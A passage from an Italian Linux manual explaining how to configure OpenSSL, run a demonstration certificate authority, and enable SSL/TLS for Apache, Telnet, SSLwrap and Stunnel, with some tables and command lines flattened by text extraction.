direttive sono raggruppate in sezioni individuabili da un titolo tra parentesi quadre. È importante osservare che le sezioni sono organizzate in modo gerarchico, a partire dai nomi dei comandi di OpenSSL. In pratica, per il comando openssl req si prende in considerazione la sezione [ req ], che poi può a sua volta richiamare altre sottosezioni. Dal momento che è già stato mostrato in che modo si ottiene una richiesta di certificato, attraverso il comando openssl req, vale la pena di dare un occhiata a un estratto della configurazione relativa, per comprendere un po meglio come leggere questo file.

183 Introduzione a OpenSSL 2167 [ req ] default_bits = 1024 default_keyfile = privkey.pem distinguished_name = req_distinguished_name attributes = req_attributes x509_extensions = v3_ca # The extentions to add to the self signed cert [ req_distinguished_name ] countryname = Country Name (2 letter code) countryname_default = AU countryname_min = 2 countryname_max = 2 stateorprovincename stateorprovincename_default localityname = State or Province Name (full name) = Some-State = Locality Name (eg, city) È importante osservare che alcune variabili vengono assegnate con il nome di una sottosezione; in questo caso si tratta in particolare di distinguished_name a cui viene attribuita la sottosezione [ req_distinguished_name ], all interno della quale vengono definite le informazioni che sono richieste in fase di costruzione del certificato. Nelle prossime sezioni verrà mostrato come simulare la gestione di un autorità di certificazione attraverso OpenSSL. Il file di configurazione standard dovrebbe essere neutro rispetto a questo problema, incorporando una sezione [ ca ] particolare, utile per fare delle prove: [ ca ] default_ca = CA_default # The default ca section #################################################################### [ CA_default ] dir =./democa # Where everything is kept certs = $dir/certs # Where the issued certs are kept crl_dir = $dir/crl # Where the issued crl are kept database = $dir/index.txt # database index file. new_certs_dir = $dir/newcerts # default place for new certs. certificate = $dir/cacert.pem # The CA certificate serial = $dir/serial # The current serial number crl = $dir/crl.pem # The current CRL private_key = $dir/private/cakey.pem# The private key RANDFILE = $dir/private/.rand # private random number file È importante osservare che la sezione [ ca ] contiene una sola direttiva, default_ca, con la quale si specifica la sottosezione da prendere in considerazione. In questo caso, la sottosezione è denominata [ CA_default ] e viene mostrata solo in parte. Si intende che, volendo fare le cose sul serio, è sufficiente ricopiare la sottosezione [ CA_default ], anche più volte, attribuendogli nomi differenti, modificando eventualmente la direttiva default_ca in modo da selezionare la sottosezione preferita. Per il momento è bene osservare che con la direttiva dir viene definita una variabile, che poi viene presa in considerazione di nuovo, espandendola con l aggiunta del prefisso $ ( $dir ), nei valori da assegnare ad altre variabili. Questa variabile serve a definire la directory di partenza a partire dalla quale vanno collocati una serie di file che riguardano l amministrazione dell autorità di certificazione. Inizialmente, viene indicata una directory che appare volutamente improbabile,./democa/, proprio per fare capire che prima di lavorare sul serio occorre pensarci bene e mettere mano alla configurazione. Comunque, per le simulazioni che si vogliono mostrare, vale la pena di creare le directory./democa/certs/,./democa/newcerts/,./democa/ crl/ e./democa/private/, o altre directory equivalenti in base alla propria configurazione

184 2168 Introduzione a OpenSSL effettiva Politica dell autorità di certificazione Nella sezione che descrive il funzionamento del comando openssl ca, deve apparire anche l indicazione del tipo di politica che l autorità di certificazione intende attuare per rilasciare i certificati. Naturalmente, quello che può essere definito qui è solo qualche aspetto che riguarda la definizione del nome distintivo del titolare. Quello che segue è un altro estratto del file di configurazione in cui si vede l assegnamento del nome di una sottosezione alla variabile policy. policy # For the CA policy [ policy_match ] countryname stateorprovincename organizationname organizationalunitname commonname address [ policy_anything ] countryname stateorprovincename localityname organizationname organizationalunitname commonname address = policy_match = match = match = match = optional = supplied = optional = optional = optional = optional = optional = optional = supplied = optional In questo caso, la sottosezione [ policy_match ] specifica che i campi del paese, della regione e dell organizzazione, devono corrispondere con gli stessi dati del certificato della stessa autorità di certificazione. In pratica, questo servirebbe a limitare l accesso all autorità soltanto a chi appartiene alla stessa area e anche alla stessa organizzazione (ciò fa pensare a un autorità di certificazione aziendale, competente solo nell ambito della propria azienda). Per il resto, solo il campo CN deve essere fornito, mentre gli altri sono facoltativi. Sotto alla sottosezione appena descritta, appare anche un altra sottosezione simile, con il nome [ policy_anything ], in cui verrebbe concesso quasi tutto, a parte l obbligo di fornire il CN Simulazione dell allestimento e del funzionamento di un autorità di certificazione L utilizzo di OpenSSL per la gestione di un autorità di certificazione richiede la conoscenza di molti dettagli sul funzionamento di questo sistema. In generale, il file di configurazione predefinito consente di ottenere delle richieste di certificati o di generare dei certificati fittizi auto-firmati. In questo gruppo di sezioni si vuole mostrare schematicamente l uso di OpenSSL nella gestione di un autorità di certificazione, anche con qualche esempio, ma senza l intenzione di arrivare a ottenere dei certificati realistici.

185 Introduzione a OpenSSL Autorità di certificazione autonoma La creazione di un autorità di certificazione autonoma, ovvero di un autorità principale (root), che non abbia ottenuto a sua volta un certificato da un autorità di livello superiore, deve realizzare la sua chiave privata e il suo certificato auto-firmato. Diversamente, se dipendesse dalla certificazione di un altra autorità, dovrebbe predisporre la propria richiesta, sottoporla all autorità superiore da cui dovrebbe ottenere il certificato. Viene mostrato nuovamente il procedimento necessario per creare la chiave privata. In questo caso si fa riferimento alla porzione di configurazione che è stata mostrata in precedenza, dove tutti i file utilizzati si articolano a partire dalla directory./democa/. In particolare, si suppone che./democa/private/.rand sia un file contenente informazioni casuali: $ openssl genrsa -des3 -out./democa/private/cakey.pem -rand./democa/private/.rand Ecco che in questo modo si ottiene la chiave privata nel file./democa/private/cakey.pem, cifrata con l algoritmo DES-triplo. Il certificato auto-firmato viene generato con il comando seguente, con il quale si ottiene il file./democa/cacert.pem : $ openssl req -new -x509 -days 730 -key./democa/private/cakey.pem -out./democa/cacert.pem Si osservi in particolare che è stato indicato espressamente il periodo di validità del certificato, in 730 giorni, pari a due anni. La visualizzazione del contenuto del certificato si può fare con il comando seguente: $ openssl x509 -text -in./democa/cacert.pem Il certificato, in quanto tale, va conservato anche nella directory destinata a contenere la copia di quelli che verranno rilasciati in qualità di autorità di certificazione. Dal pezzo di configurazione mostrato in precedenza, la directory in questione è./democa/certs/. Questi file devono avere un nome che inizia con il loro numero di serie; dal momento che il numero del certificato dell autorità stessa è il numero zero, il file deve chiamarsi obbligatoriamente./democa/ certs/00.pem : $ cp./democa/cacert.pem./democa/certs/00.pem Inoltre, i file in quella directory devono essere abbinati, ognuno, a un collegamento simbolico che esprime il codice di controllo del file stesso, più l estensione.0 : $ cd./democa/certs $ ln -s 00.pem openssl x509 -hash -noout -in 00.pem Rilascio di certificazioni Per le operazioni di rilascio dei certificati, ovvero della firma di questi a partire dai file di richiesta relativi, occorre prendere confidenza con l uso di alcuni file, contenenti rispettivamente l indice dei certificati rilasciati e il numero di serie successivo che potrà essere utilizzato. Come è già stato spiegato in un altro capitolo, i certificati rilasciati da un autorità di certificazione hanno un numero seriale progressivo; in base al pezzo di configurazione mostrato in precedenza, questo numero viene conservato nel file democa/serial. Il numero in questione viene annotato secondo una notazione esadecimale, tradotta in caratteri normali, ma senza alcun prefisso. In pratica, dopo aver predisposto il certificato della stessa autorità, occorre mettere in questo file la riga seguente, conclusa da un codice di interruzione di riga finale e nulla altro:

186 2170 Introduzione a OpenSSL 01 La creazione dei certificati incrementerà automaticamente questo numero; 2 inoltre, se non verrà specificato il file da creare, si otterrà direttamente un file corrispondente al suo numero di serie, con l aggiunta dell estensione consueta, collocato nella directory prevista per l accumulo provvisorio: democa/newcerts/ nel caso della configurazione di esempio a cui si continua a fare riferimento. La creazione di un certificato aggiorna anche il file che ne contiene l indice, che potrebbe essere democa/index.txt. Inizialmente, dopo la creazione del certificato dell autorità stessa, questo indice è semplicemente un file vuoto; con la creazione dei certificati successivi, viene aggiunta una riga per ognuno di questi, che va intesa come un record suddiviso in campi separati da un carattere di tabulazione singolo. Viene mostrato subito l esempio del record relativo a un primo certificato (diviso in due righe per motivi tipografici): V Z 01 unknown /C=IT/ST=Italia/O=Dinkel/CN=dinkel.brot.dg/ [email protected] Nell esempio non si vede, ma c è un terzo campo nullo prima del valore 01. I campi hanno il significato seguente: 1. lo stato del certificato, attraverso una lettera: «R», revocato, «E», scaduto, «V», valido; 2. la data di scadenza, scritta attraverso una stringa di cifre numeriche terminate da una lettera «Z» maiuscola, dove le coppie di cifre rappresentano rispettivamente: anno, mese, giorno, ore, minuti, secondi ( AAMMGGHHMMSS Z ); 3. la data di revoca del certificato, scritta esattamente come nel caso del secondo campo, solitamente assente, a indicare che il certificato è ancora valido; 4. il numero di serie in esadecimale; 5. la collocazione del certificato (attualmente si tratta sempre della parola chiave unknown ); 6. i dati del titolare del certificato, ovvero il nome distintivo e l indirizzo di posta elettronica di questo. La creazione, ovvero la firma di un certificato si ottiene con il comando openssl ca, fornendo in particolare il file contenente la richiesta. Per esempio, se si vuole accettare la richiesta costituita dal file richiesta.pem, si potrebbe agire nel modo seguente: $ openssl ca -in richiesta.pem Avendo indicato esclusivamente il nome del file che contiene la richiesta, le altre informazioni sono state prese dalla configurazione. In base a quanto previsto dall esempio mostrato inizialmente, per la firma è stata usata la chiave contenuta nel file democa/private/cakey.pem, il file del certificato è stato creato nella directory democa/newcerts/, con un nome corrispondente al suo numero di serie e con la solita estensione.pem, ma soprattutto, è stata usata la sezione predefinita nel file di configurazione, ovvero [ CA_default ]. Volendo dichiarare tutto in modo esplicito, lo stesso comando avrebbe dovuto essere espresso nel modo seguente: $ openssl ca -name CA_default -keyfile democa/private/cakey.pem -in richiesta.pem -out democa/newcerts/ cat democa/serial Questo comando richiede alcune conferme: 2 È importante ribadire che se questo file contiene il valore n, l ultimo certificato che è stato creato è quello corrispondente al numero n-1.

187 Introduzione a OpenSSL 2171 Using configuration from /usr/lib/ssl/openssl.cnf Check that the request matches the signature Signature ok The Subjects Distinguished Name is as follows countryname :PRINTABLE: IT stateorprovincename :PRINTABLE: Italia localityname :PRINTABLE: Tiziopoli organizationname :PRINTABLE: Dinkel commonname :PRINTABLE: dinkel.brot.dg address :IA5STRING: [email protected] Certificate is to be certified until Dec 13 19:28: GMT (365 days) Sign the certificate? [y/n]:y[ Invio ] 1 out of 1 certificate requests certified, commit? [y/n]:y[ Invio ]... Data Base Updated Una volta creato un certificato nel modo descritto, questo va collocato nella sua posizione definitiva, che in questo caso è la directory democa/certs/, dove va creato il solito collegamento simbolico che rappresenta il suo codice di controllo (come è già stato mostrato più volte) Revoca dei certificati Se si incontra la necessità di revocare dei certificati prima della loro scadenza normale, si deve pubblicare un elenco di revoca, o CRL (Certificate revocation list). Questo elenco si produce con OpenSSL a cominciare dalla modifica del file contenente l elenco dei certificati (./democa/ index.txt ), sostituendo la lettera «V» con la lettera «R» e inserendo la scadenza anticipata nel terzo campo. L esempio seguente mostra il caso di due certificati che vengono revocati prima della scadenza: R Z Z 01 unknown /C=IT/ST=Italia/... R Z Z 02 unknown /C=IT/ST=Italia/... Successivamente, basta usare il comando openssl ca, con l opzione -gencrl : $ openssl ca -gencrl -out./democa/crl/crl.pem Con questo esempio, viene creato il file./democa/crl/crl.pem, contenente questo elenco di revoca, il cui contenuto può essere riletto con il comando seguente: $ openssl crl -text -in./democa/crl/crl.pem Certificate Revocation List (CRL): Version 1 (0x0) Signature Algorithm: md5withrsaencryption Issuer: /C=IT/ST=Italia/L=Treviso/O=Dinkel/CN=dinkel.brot.dg... Last Update: Jan 15 20:35: GMT Next Update: Feb 14 20:35: GMT Revoked Certificates: Serial Number: 01 Revocation Date: Jan 13 19:28: GMT Serial Number: 02 Revocation Date: Jan 13 19:28: GMT Signature Algorithm: md5withrsaencryption 32:e1:97:92:96:2f:0c:e4:df:bb:9c:82:a5:e3:5b:51:69:f5: 51:ad:1b:b2:98:eb:35:a6:c8:7f:d9:29:1f:b2:1e:cc:da:84:... 31:27:4a:21:4c:7a:bc:85:73:cd:ff:15:9d:cb:81:b3:0b:82: 73:50

188 2172 Introduzione a OpenSSL Conversione nei formati In generale, con OpenSSL si lavora con file (richieste, certificati, elenchi di revoca, ecc.) in formato PEM, che è in pratica una forma compatta dei dati, utilizzando però solo il codice ASCII a 7 bit. Ci sono situazioni in cui è necessario convertire questo formato in un altro, oppure è necessario acquisire dei dati da un formato diverso dal solito. In generale, quando si usano comandi che possono ricevere dati in ingresso, o quando si devono generare dati in uscita, sempre relativi a certificati e affini, si possono usare rispettivamente le opzioni -inform e -outform, seguite dalla sigla del formato (non sono disponibili sempre tutti). Vengono mostrati alcuni esempi. $ openssl x509 -in certificato.pem -outform der -out certificato.der In questo modo si ottiene la conversione del certificato certificato.pem certificato.der, che risulta in formato DER (binario). nel file $ openssl crl -in crl.pem -outform der -out crl.der Converte l elenco di revoca crl.pem in formato DER, nel file crl.der Riferimenti OpenSSL < SSL-Apache/OpenSSL/SSLeay Handbücher, DFN-PCA, 2000 < R. Housley, W. Ford, W. Polk, D. Solo, RFC 2459: Internet X.509 Public Key Infrastructure -- Certificate and CRL Profile 1999 < < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

189 Applicazioni che usano OpenSSL Capitolo 200 Alcune versioni di applicazioni comuni che hanno a che fare con la comunicazione di dati, incorporano le funzionalità crittografiche di certificazione e crittografia SSL/TLS, in particolare quelle che utilizzano proprio le librerie OpenSSL. Si tratta normalmente di versioni parallele a quelle «standard», che restano tali a causa delle leggi USA che limitano la distribuzione di software crittografico. Se la propria distribuzione GNU/Linux non dispone dei pacchetti relativi a questi programmi in versione SSL, si rischia di dovere provvedere da soli compilando i sorgenti, dopo che questi sono stati ottenuti da siti che si trovano al di fuori degli USA. Per fortuna, per alcune di queste applicazioni c è poco da aggiungere. In questo capitolo si raccolgono le sole informazioni necessarie per poterle utilizzare. Oltre alle applicazioni predisposte per il protocollo SSL/TLS, si aggiungono dei programmi che fungono da proxy TCP, 1 per dare queste funzionalità ai servizi che non le hanno già. Tuttavia, proprio perché intervengono solo a livello del protocollo TCP, può essere impossibile l utilizzo di questi quando il protocollo finale prevede l apertura di connessioni aggiuntive attraverso porte non prestabilite. In pratica, diventa impossibile il loro uso per servizi FTP Aggiornare l elenco dei servizi Le varianti SSL/TLS dei servizi più comuni, prevedono porte di comunicazione diverse da quelle standard. In particolare, se il proprio file /etc/services non è già stato predisposto, è necessario aggiungere le righe seguenti, dove i commenti sono ovviamente opzionali: https 443/tcp # http TLS/SSL https 443/udp ssmtp 465/tcp # smtp TLS/SSL ssmtp 465/udp nntps 563/tcp # nttp TLS/SSL nntps 563/udp telnets 992/tcp # telnet TLS/SSL telnets 992/udp imaps 993/tcp # imap4 TLS/SSL imaps 993/udp ircs 994/tcp # irc TLS/SSL ircs 994/udp pop3s 995/tcp # POP3 TLS/SSL pop3s 995/udp ftps-data 989/tcp # ftp TLS/SSL ftps-data 989/udp ftps 990/tcp # ftp TLS/SSL ftps 990/udp È proprio l utilizzo di queste porte che fa intendere ai servizi in ascolto che si intende instaurare una connessione protetta. Per fare un esempio comune, il fatto di utilizzare un URI che inizi per implica la richiesta di utilizzare un tunnel SSL/TLS per la certificazione e la crittografia, al contrario di un URI normale; inoltre, nello stesso modo, il protocollo HTTPS è precisamente il protocollo HTTP nel tunnel SSL/TLS. 1 Qui si intende un proxy che non conosca il protocollo utilizzato effettivamente dal servizio che viene ridiretto, a parte la gestione TCP pura e semplice. 2173

190 2174 Applicazioni che usano OpenSSL Opzioni comuni Di solito, le applicazioni che incorporano le funzionalità SSL attraverso le librerie di OpenSSL, consentono l uso dell opzione -z, alla quale va aggiunto un argomento. La tabella mostra sinteticamente l uso di questa opzione aggiuntiva. Figura Alcune opzioni comuni ai programmi che usano le librerie di OpenSSL. Opzione Descrizione -z ssl Utilizza esclusivamente il protocollo SSL. -z secure Se fallisce la negoziazione SSL non passa a una connessione normale. -z verify=n Definisce il livello di verifica della certificazione. -z cert=file Definisce il file contenente il certificato. -z key=file Definisce il file contenente la chiave privata RSA. -z cipher=elenco Definisce l elenco di algoritmi crittografici preferiti Certificati dei servizi In generale, per attivare un servizio che consente l utilizzo del protocollo SSL, occorre che questo disponga di una chiave privata e di un certificato. In particolare, il certificato dovrebbe essere ottenuto da un autorità di certificazione, ma in mancanza di questo lo si può creare in proprio. I programmi in questione, dal momento che offrono un servizio in modo autonomo, hanno la necessità di accedere alla chiave privata, senza poter interrogare l amministratore. Di conseguenza, tale chiave non può essere protetta e di solito viene creato un file unico sia per la chiave privata, sia per il certificato. Il file contenente il certificato e la chiave, ha solitamente un nome corrispondente a quello dell applicazione, con l aggiunta dell estensione.pem, collocato normalmente nella directory /etc/ ssl/certs/, o in un altra simile. Supponendo che la directory da utilizzare sia proprio questa, si può generare in proprio il certificato dell applicazione «prova», incorporando anche la chiave privata, nel modo seguente: # cd /etc/ssl/certs # openssl req -new -x509 -nodes -out prova.pem -keyout prova.pem # chmod 600 prova.pem # ln -s prova.pem openssl x509 -noout -hash -in prova.pem.0 Dal momento che deve essere creata una chiave privata non protetta, altrimenti il servizio non potrebbe funzionare, il file che si genera non deve avere alcun permesso di accesso per gli utenti estranei, esattamente come si vede nell esempio. Dal momento che si tratta di un certificato che serve a identificare un servizio, il campo CN deve contenere il nome di dominio completo attraverso il quale vi si accede. Di solito, la directory in cui vengono collocati i certificati di questi servizi, non dipende dalla configurazione di OpenSSL. In effetti, a parte il problema di crearli, questi vengono poi gestiti dai servizi stessi: saranno questi che eventualmente devono essere configurati per poter ritrovare i loro certificati.

191 Applicazioni che usano OpenSSL Apache-SSL Su Apache esistono già diversi capitoli; in particolare il capitolo 160. In questa sezione si vogliono mostrare solo alcuni particolari che riguardano Apache-SSL, 2 ovvero quella versione che contiene le estensioni offerte da OpenSSL Installazione e configurazione di Apache-SSL Quando si installa Apache-SSL occorre provvedere prima a disinstallare, o almeno disattivare, il servente Apache normale, o altro servente HTTP. Convenzionalmente, i file di configurazione di Apache-SSL non dovrebbero andare a sovrapporsi a quelli della versione normale di Apache: in condizioni normali potrebbe trattarsi della directory /etc/apache-ssl/. In questa directory si trovano i file di configurazione consueti: access.conf, httpd.conf e srm.conf. Oltre a questi, deve essere creato il file contenente la chiave privata e il certificato che serve al servizio per potersi identificare nei confronti dei clienti: httpsd.pem, oppure apache.pem, o un altro nome in base alla configurazione. Questo file, a meno di averlo ottenuto da un autorità di certificazione, deve essere creato in proprio. Dovrebbe essere lo stesso sistema di installazione che si occupa di crearlo; in alternativa, disponendo dei sorgenti, si ottiene con il comando make certificate, oppure nel modo già visto in questo capitolo, tenendo conto che di solito Apache-SSL si aspetta di trovarlo nella stessa directory in cui si trovano gli altri file di configurazione (basta controllare il contenuto di httpd.conf per determinare il nome di questo file e la sua collocazione). Le novità della configurazione di Apache-SSL riguardano il file httpd.conf e nel seguito vengono descritte brevemente solo le direttive più importanti riferite alle connessioni SSL. ServerType standalone Allo stato attuale, Apache-SSL può funzionare solo in modo indipendente dal supervisore dei servizi di rete, per cui la direttiva ServerType standalone è obbligatoria. Apache-SSL deve essere in grado di comunicare sia in chiaro, sia in modo cifrato. La distinzione avviene in base all uso delle porte. In condizioni normali, la porta 80 è quella usata di consueto per le connessioni normali, mentre la porta 443 è riservata per le comunicazioni cifrate. Port 80 Come si vede nell esempio, viene abilitata espressamente la porta 80; in seguito, con la direttiva Listen, viene esteso l ascolto anche alla porta 443. Listen 80 Listen 443 Con queste due direttive, viene confermato l ascolto sulla porta 80 e si aggiunge anche la porta 443 necessaria per le comunicazioni SSL (cifrate). # Set SSLVerifyClient to: # 0 if no certicate is required # 1 if the client may present a valid certificate # 2 if the client must present a valid certificate # 3 if the client may present a valid certificate but it is not required to # have a valid CA SSLVerifyClient 0 Inizialmente, a meno che si pretenda di ottenere un certificato valido dai clienti, è bene disattivare la verifica dei clienti stessi, come si vede nell esempio. 2 Apache-SSL software libero con licenza speciale

192 2176 Applicazioni che usano OpenSSL SSLDisable In generale conviene organizzare l abilitazione della crittografica SSL attraverso la distinzione in domini virtuali (come verrà mostrato). Per questo, conviene disabilitare a livello globale la crittografia SSL, riservandosi poi di abilitarla nei domini virtuali preferiti. SSLCACertificatePath /etc/apache-ssl SSLCertificateFile /etc/apache-ssl/apache.pem Queste due direttive servono a definire la directory contenente i file dei certificati e il percorso assoluto del file di certificazione del servizio, che in questo caso è /etc/apache-ssl/ apache.pem. <VirtualHost localhost:443> SSLEnable DocumentRoot /home/httpd/html-ssl/ </VirtualHost> <VirtualHost dinkel.brot.dg:443> SSLEnable DocumentRoot /home/httpd/html-ssl/ </VirtualHost> Queste due definizioni di domini virtuali servono a stabilire che: accedendo localmente, utilizzando quindi il nome localhost, oppure accedendo dall esterno utilizzando il nome dinkel.brot.dg, ma attraverso la porta 433, si entra in un dominio virtuale, dove il nome non cambia, ma la directory iniziale corrisponde a /home/httpd/html-ssl/. È all interno di queste definizioni che viene abilitata la comunicazione cifrata via SSL Accesso al servizio cifrato Per accedere a un servizio HTTP-SSL in forma cifrata, è sufficiente indicare il protocollo HTTPS, ovvero, La cosa riguarda tutti i clienti che siano compatibili con questo protocollo; esistono anche versioni di Lynx e Links, realizzate per questo scopo. Se il cliente è in grado di tenere traccia delle informazioni sulla certificazione, si accorgerà che l identità mostrata dal servente non è conosciuta. Si osservi la figura che mostra quello che potrebbe succedere quando si tenta per la prima volta di accedere al servizio HTTPS offerto dall elaboratore dinkel.brot.dg.

193 Applicazioni che usano OpenSSL 2177 Figura Avvertimento da parte di un navigatore nel momento in cui si tenta di accedere attraverso il protocollo HTTPS a un sito il cui certificato è firmato da un autorità sconosciuta. In effetti, il navigatore che si vede nella figura offre un ottima opportunità per controllare che il proprio certificato, per quanto non valido, sia realizzato correttamente Telnet-SSL Esiste anche una versione di Telnet in grado di utilizzare il tunnel SSL. 3 In generale non c è alcun problema di configurazione, a parte la necessità di disporre di un certificato, completo di chiave privata in chiaro, rappresentato di solito dal file telnetd.pem, che dovrebbe essere generato automaticamente dal programma di installazione e inserito probabilmente nella directory /etc/ssl/certs/. Eventualmente, questo file (e il collegamento simbolico relativo) può essere ricostruito attraverso i comandi già visti all inizio del capitolo. Una volta installato il demone in.telnetd e il programma cliente telnet nella versione SSL, non serve altro. Al massimo, è il caso di verificare che il cliente sia in grado di connettersi con un servizio SSL. Il modo migliore è quello di farlo attraverso un altro servizio basato su SSL di cui si è già sicuri. L esempio seguente mostra una connessione con un servente HTTPS, dal quale si preleva la pagina di ingresso al sito; si osservi in particolare l uso dell opzione -z ssl per utilizzare espressamente il protocollo SSL: $ telnet -z ssl dinkel.brot.dg https GET / HTTP/1.0[ Invio ] 3 Telnet-SSL UCB BSD

194 2178 Applicazioni che usano OpenSSL [ Invio ] HTTP/ OK Date: Fri, 03 Dec :42:41 GMT Server: Apache/1.3.3 Ben-SSL/1.29 (Unix) Debian/GNU Connection: close Content-Type: text/html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <HTML> <HEAD> <TITLE>Index of /</TITLE> </HEAD> <BODY> <H1>Index of /</H1>... </BODY></HTML> Connection closed by foreign host. È interessante notare che la connessione TELNET cifrata via SSL può essere negoziata anche attraverso la porta 23 normale. In alternativa, si può distinguere l avvio del servente TELNET, nell ambito della configurazione del supervisore dei servizi di rete, in modo da usare o meno la comunicazione cifrata. L esempio seguente si riferisce a Inetd, con il file /etc/inetd.conf : telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetd telnets stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetd -z secure SSLwrap SSLwrap 4 è un tunnel SSL/TLS che si inserisce al di sopra di servizi già esistenti che però non sono in grado di gestire direttamente questa funzionalità. In altri termini si tratta di un proxy che, ricevendo connessioni attraverso le porte SSL/TLS, ripete le richieste ai servizi reali attraverso le porte normali. Figura Principio di funzionamento di SSLwrap Cliente 1046 connessione HTTPS 443 SSLwrap HTTPS connessione HTTP Servente HTTP La figura mostra schematicamente un esempio di ciò che avviene. In particolare si vede l uso delle porte, dove i numeri 1046 e 1053 sono solo un esempio di porte non privilegiate, utilizzate dinamicamente. Da quanto espresso si dovrebbe intendere anche che SSLwrap può funzionare in un elaboratore distinto rispetto a quello che ospita i servizi per i quali è stato attivato. Naturalmente, nel tragitto che collega SSLwrap al servizio reale, i dati viaggiano in chiaro. Un effetto collaterale dell utilizzo di SSLwrap sta nel fatto che i servizi reali si trovano a comunicare sempre con lo stesso nodo, senza sapere da dove vengono realmente le richieste di connessione e senza poter applicare alcuna politica di filtro. SSLwrap è in grado di funzionare sia attraverso il controllo del supervisore dei servizi di rete, sia in modo indipendente; tuttavia, attraverso il supervisore dei servizi di rete e poi anche il TCP wrapper è possibile attuare le consuete politiche di filtro e di controllo degli accessi, anche attraverso il protocollo IDENT. 4 SSLwrap GNU GPL

195 Applicazioni che usano OpenSSL Avvio SSLwrap si compone dell eseguibile sslwrap, che svolge il ruolo di demone, autonomo o sottoposto al controllo del supervisore dei servizi di rete. sslwrap [opzioni] -port porta-servizio-originale [-accept porta-servizio-ssl] Lo schema sintattico mostra in particolare l uso obbligato dell opzione -port, con la quale si specifica la porta del servizio originale, a cui ridirigere le richieste che invece provengono dalla porta SSL corrispondente. Si vede anche che l opzione -accept permette di stabilire il numero di porta SSL da utilizzare per attendere le richieste; porta che non va indicata se si opera attraverso il controllo del supervisore dei servizi di rete (perché in tal caso i dati provengono dallo standard input). In condizioni normali, si presume che il servizio standard sia collocato nello stesso nodo in cui è in funzione SSLwrap, per cui si intende implicitamente che si tratti di Diversamente si deve utilizzare l opzione -addr. La tabella elenca le opzioni più importanti della riga di comando di sslwrap. Tabella Alcune opzioni della riga di comando di sslwrap. Opzione -addr indirizzo-ip -port porta -accept porta -verify -Verify -cert file -key file -without_pid Descrizione Indirizzo IP del servizio originale. Porta del servizio originale. Porta SSL per ricevere le richieste. Attiva la verifica del certificato della controparte. La controparte deve avere un certificato valido. Certificato in formato PEM. Chiave privata in formato PEM (se non è già nel certificato). Non crea il file contenente il numero del processo Utilizzo pratico È probabile che la propria distribuzione sia organizzata in modo tale da configurare interattivamente il funzionamento di SSLwrap, aggiornando il file /etc/inetd.conf (nel caso si utilizzi Inetd come supervisore dei servizi di rete), oppure predisponendo gli script necessari nell ambito della procedura di inizializzazione del sistema. Tuttavia, vale la pena di vedere ugualmente cosa si dovrebbe fare intervenendo manualmente. Qui si presume che si utilizzi un certificato unico, completo di chiave privata, corrispondente al file /etc/ssl/certs/sslwrap.pem. Nel caso del funzionamento sotto il controllo del supervisore dei servizi di rete, basta modificare il file /etc/inetd.conf aggiungendo le righe seguenti, che qui appaiono tutte spezzate a metà per motivi tipografici: https stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 80 -without_pid ssmtp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 25 -without_pid nntps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 119 -without_pid

196 2180 Applicazioni che usano OpenSSL telnets stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 23 -without_pid imaps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 143 -without_pid ircs stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 194 -without_pid pop3s stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 110 -without_pid ftps-data stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 20 -without_pid ftps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 21 -without_pid Naturalmente, non è necessario attivare tutti i presunti servizi SSL, eventualmente commentando le righe che non servono. 5 Inoltre, nel caso che i servizi reali si trovino in un altro elaboratore, si può aggiungere l opzione -addr, come già descritto. Per utilizzare sslwrap come demone autonomo, si può usare un comando simile a quello seguente, che si riferisce al caso del protocollo HTTPS: # sslwrap -cert /etc/ssl/certs/sslwrap.pem -port 80 -accept 443 & Logicamente, questo e altri comandi simili per gli altri servizi SSL vanno messi convenientemente in uno script adatto alla procedura di inizializzazione del sistema Stunnel Stunnel 6 è un tunnel SSL/TLS che si inserisce al di sopra di servizi già esistenti che però non sono in grado di gestire direttamente questa funzionalità. Ma in aggiunta a quanto fa già SSLwrap, può essere usato anche per la funzionalità opposta, utilizzando un cliente che non è in grado di gestire il protocollo SSL/TLS. In particolare, Stunnel non può essere messo sotto il controllo del supervisore dei servizi di rete, mentre può controllare i programmi che lo stesso supervisore dei servizi di rete gestisce Avvio Stunnel si compone dell eseguibile stunnel, che svolge il ruolo di demone autonomo, in grado di contattare un servizio già in ascolto di una porta TCP o di avviare un programma come fa il supervisore dei servizi di rete. stunnel [opzioni] Tabella Alcune opzioni della riga di comando di stunnel. Opzione Descrizione -c Modalità «cliente»: il cliente si connette in chiaro e il servizio originale è SSL/TLS. -T Proxy trasparente, quando il sistema lo consente. Certificato in formato PEM, che non si usa nella modalità -p file «cliente». -v [1 2 3] Attiva la verifica del certificato. -v 1 Verifica il certificato della controparte se presente. 5 Soprattutto nel caso di servizi che per loro natura non si lasciano gestire semplicemente in questo modo, come avviene per il protocollo FTP. 6 Stunnel GNU GPL

